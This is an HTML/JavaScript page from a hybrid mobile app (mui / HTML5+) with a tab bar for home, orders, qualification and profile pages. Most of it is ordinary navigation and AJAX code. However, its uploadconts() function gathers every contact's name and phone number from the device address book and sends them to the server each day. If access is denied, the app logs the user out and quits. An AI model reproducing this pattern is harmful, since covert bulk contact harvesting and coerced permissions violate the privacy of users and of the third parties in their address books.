<!doctype html>
<html>

	<head>
		<meta charset="UTF-8">
		<title></title>
		<meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
		<link href="../css/mui.min.css" rel="stylesheet" />
		<style type="text/css">
			.mui-bar-tab .mui-tab-item.mui-active,
			.mui-bar-tab .mui-tab-item {
				color: #101010;
			}
			
			.mui-bar {
				box-shadow: none;
			}
		</style>
	</head>

	<body>
		<nav class="mui-bar mui-bar-tab">
			<a class="mui-tab-item mui-active" data-i="home.html">
				<img src="../template/home/tab1-.png" class="mui-icon" />
				<span class="mui-tab-label">首页</span>
			</a>
			<a class="mui-tab-item" data-i="orders.html">
				<img src="../template/home/tab2.png" class="mui-icon" />
				<span class="mui-tab-label">订单</span>
			</a>
			<a class="mui-tab-item" data-i="qualification.html">
				<img src="../template/home/tab3.png" class="mui-icon" />
				<span class="mui-tab-label">资质</span>
			</a>
			<a class="mui-tab-item" data-i="mine.html">
				<img src="../template/home/tab4.png" class="mui-icon" />
				<span class="mui-tab-label">我的</span>
			</a>
		</nav>
		<script src="../lib/mui.min.js"></script>
		<script src="../lib/jquery-1.11.0.js" type="text/javascript" charset="utf-8"></script>
		<script type="text/javascript" src="../lib/service.js"></script>
		<script type="text/javascript">
			mui.init();
			if(window.plus) {
				plusReady();
			} else {
				document.addEventListener("plusready", plusReady, false);
			}
			var subview = null

			function plusReady() {
				var subpage = ["home.html", "orders.html", "qualification.html", "mine.html"];
				var sub;
				for(var i = 0; i < subpage.length; i++) {
					sub = plus.webview.create(subpage[i], subpage[i], {
						top: "0",
						bottom: "50px"
					})
					if(i !== 0) {
						sub.hide()
					}
					plus.webview.currentWebview().append(sub);
				}

				mui(".mui-bar").on('tap', 'a', function() {
					if(!judgeTimeDiffer()) {
						mui.toast("未登录")
						//						plus.webview.close()
						openurl('../landing/login.html')
						return
					}
					getServer('app/member/account', "", function(res) {
						console.log("tab切换认证"+JSON.stringify(res))
					})
					console.log(this.getAttribute('data-i'))
					if(this.getAttribute('data-i') == subview) {
						return
					}
					//					if(this.getAttribute('data-i') == 'qualification.html') {
					//						var ws = plus.webview.getWebviewById('qualification.html')
					//						ws.evalJS('init()')
					//					}
					var tab = this.getAttribute('data-i')
					if(tab == "home.html") {
						$(this).find('img').attr('src', '../template/home/tab1-.png');
						$('.mui-tab-item').eq(1).find('img').attr('src', '../template/home/tab2.png');
						$('.mui-tab-item').eq(2).find('img').attr('src', '../template/home/tab3.png');
						$('.mui-tab-item').eq(3).find('img').attr('src', '../template/home/tab4.png');
					}
					if(tab == "orders.html") {
						$(this).find('img').attr('src', '../template/home/tab2-.png');
						$('.mui-tab-item').eq(0).find('img').attr('src', '../template/home/tab1.png');
						$('.mui-tab-item').eq(2).find('img').attr('src', '../template/home/tab3.png');
						$('.mui-tab-item').eq(3).find('img').attr('src', '../template/home/tab4.png');
					}
					if(tab == "qualification.html") {
						$(this).find('img').attr('src', '../template/home/tab3-.png');
						$('.mui-tab-item').eq(0).find('img').attr('src', '../template/home/tab1.png');
						$('.mui-tab-item').eq(1).find('img').attr('src', '../template/home/tab2.png');
						$('.mui-tab-item').eq(3).find('img').attr('src', '../template/home/tab4.png');
					}
					if(tab == "mine.html") {
						$(this).find('img').attr('src', '../template/home/tab4-.png');
						$('.mui-tab-item').eq(0).find('img').attr('src', '../template/home/tab1.png');
						$('.mui-tab-item').eq(1).find('img').attr('src', '../template/home/tab2.png');
						$('.mui-tab-item').eq(2).find('img').attr('src', '../template/home/tab3.png');
					}
					//					$(".mui-active").children("img")[0].src = "../template/home/tab" + ($(".mui-active").index() + 1) + ".png";
					//					$(this).children("img")[0].src = "../template/home/tab" + ($(this).index() + 1) + "-.png";
					plus.webview.show(this.getAttribute('data-i'));
					plus.webview.hide(subview);
					//					plus.webview.hide(subpage[0]);
					subview = this.getAttribute('data-i');
					//					subpage[0] = this.getAttribute('data-i');
				})

			}

			function goOrder() {
				$('.mui-tab-item').eq(0).find('img').attr('src', '../template/home/tab1.png');
				$('.mui-tab-item').eq(1).find('img').attr('src', '../template/home/tab2-.png');
				$('.mui-tab-item').eq(2).find('img').attr('src', '../template/home/tab3.png');
				$('.mui-tab-item').eq(3).find('img').attr('src', '../template/home/tab4.png');
				plus.webview.show('orders.html');
				//					subpage[0] = 'orders.html'
				subview = 'orders.html'
				plus.webview.hide('mine.html');
			}

			function qualification() {
				$('.mui-tab-item').eq(0).find('img').attr('src', '../template/home/tab1.png');
				$('.mui-tab-item').eq(1).find('img').attr('src', '../template/home/tab2.png');
				$('.mui-tab-item').eq(2).find('img').attr('src', '../template/home/tab3-.png');
				$('.mui-tab-item').eq(3).find('img').attr('src', '../template/home/tab4.png');
				plus.webview.show('qualification.html');
				//					subpage[0] = 'qualification.html'
				plus.webview.hide('mine.html');
				subview = 'qualification.html'
			}

			function activeModel() {
				setTimeout(function() {
					plus.webview.getWebviewById('qualification.html').evalJS('init()')
					plus.webview.getWebviewById('mine.html').evalJS('init()')
				}, 300)
				//					plus.webview.getWebviewById('orders.html.html').evalJS('init()')
				//				用户通讯录上传
				if(judgeTimeDiffer()) {
					//判断是否登陆
					var userInfo = JSON.parse(localStorage.getItem('userinfo'))
					//获取上传信息
					var updateInfo = localStorage.getItem("updateInfo", JSON.stringify(updateInfo))
					if(updateInfo == null || updateInfo == undefined) {
						//						上传
						uploadconts()
					} else {
						updateInfo = JSON.parse(updateInfo);
						if(userInfo.id == updateInfo.userid) {
							//							用户一致判断上传时间是否是当日
							if(!isToday(Date.parse(new Date()))) {
								uploadconts()
							} else {
								if(updateInfo.updateflag != 1) {
									uploadconts()
								}
							}
						} else {
							uploadconts()
						}
					}
					//					判断当前用户是否与上一次提交用户一致
					//					判断是否是当前日期第一次提交
					//					判断是否能获取到通讯录信息
					//					提交信息
				}
			}

			function uploadconts() {
				console.log("天空飘来好多字，要上传通讯录信息啦")
				var phoneList = [];
				plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {
					addressbook.find(["displayName", "phoneNumbers"],
						function(contacts) {
							var area = document.getElementById("listArea")
							for(var i = 0, len = contacts.length; i < len; i++) {
								var temp = {
									name: contacts[i].displayName,
									phoneNumber: (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value)
								}
								phoneList.push(temp)
							}
							//							console.log("内" + JSON.stringify(phoneList))
						},
						function() {
							//						mui.toast("获取电话簿失败 ");
						}, {
							multiple: true
						});
				}, function(e) {

				});
				setTimeout(function() {
					if(phoneList.length == 0) {
						var btn = ['好的'];
						mui.confirm('请前往设置将通讯录权限打开，以保证使用', '提示', btn, function(e) {
							if(e.index == 0) {
								localStorage.removeItem('token');
								localStorage.removeItem('lastTime')
								plus.runtime.quit();
							} else {
								plus.runtime.quit();
							}
						});
					} else {
						post('app/member/postAddressBook', JSON.stringify(phoneList), function(res) {
							console.log(JSON.stringify(res))
							var userInfo = JSON.parse(localStorage.getItem('userinfo'))
							var data = {
								userid: userInfo.id,
								update: Date.parse(new Date()),
								updateflag: 1
							}
							localStorage.setItem("updateInfo", JSON.stringify(data))
						});
					}
				}, 2000)

			}

			function post(route, datas, successfn, errorfn) {
				console.log("请求地址" + serverUrl + route + "和参数" + JSON.stringify(datas));
				$.ajax(serverUrl + route, {
					data: datas,
					crossDomain: true,
					dataType: 'json', //服务器返回json格式数据
					type: 'POST', //HTTP请求类型
					timeout: 1000000, //超时时间设置为10秒；
					headers: {
						'Content-type': 'application/json',
						jsonType: 'jsonType',
						token: localStorage.getItem('token'),
						smstoken: localStorage.getItem('smstoken')
					},
					success: function(data, status, request) {
						console.log("请求成功地址" + serverUrl + route + "和参数" + JSON.stringify(data));
						if(data.success) {
							successfn(data);
						} else if(!data.success && data.data.code == "1039") {
							//token过期
							localStorage.removeItem('token')
							openurl('../landing/login.html')
						} else if(data.data.code == '2000') {
							errorfn(data);
						} else {
							errorfn(data);
						}
						if(request.getResponseHeader("token") != null) {
							localStorage.setItem('token', request.getResponseHeader("token"));
							localStorage.setItem('lastTime', Date.parse(new Date()));
						}
						if(request.getResponseHeader("smstoken") != null) {
							localStorage.setItem('smstoken', request.getResponseHeader("smstoken"))
						}

					},
					error: function(xhr, type, errorThrown) {
						console.log("请求失败地址" + serverUrl + route + "和参数" + JSON.stringify(datas));
						console.log(xhr.status + "   " + errorThrown)
						mui.toast('请求失败!' + type);
					}
				});
			}

			function isToday(str) {
				if(new Date(str).toDateString() === new Date().toDateString()) {
					//今天
					console.log("当天");
					return true
				} else if(new Date(str) < new Date()) {
					//之前
					console.log("以前的日期");
					return false
				} else {
					console.log("以后的日期");
					return false
				}
			}
		</script>
	</body>

</html>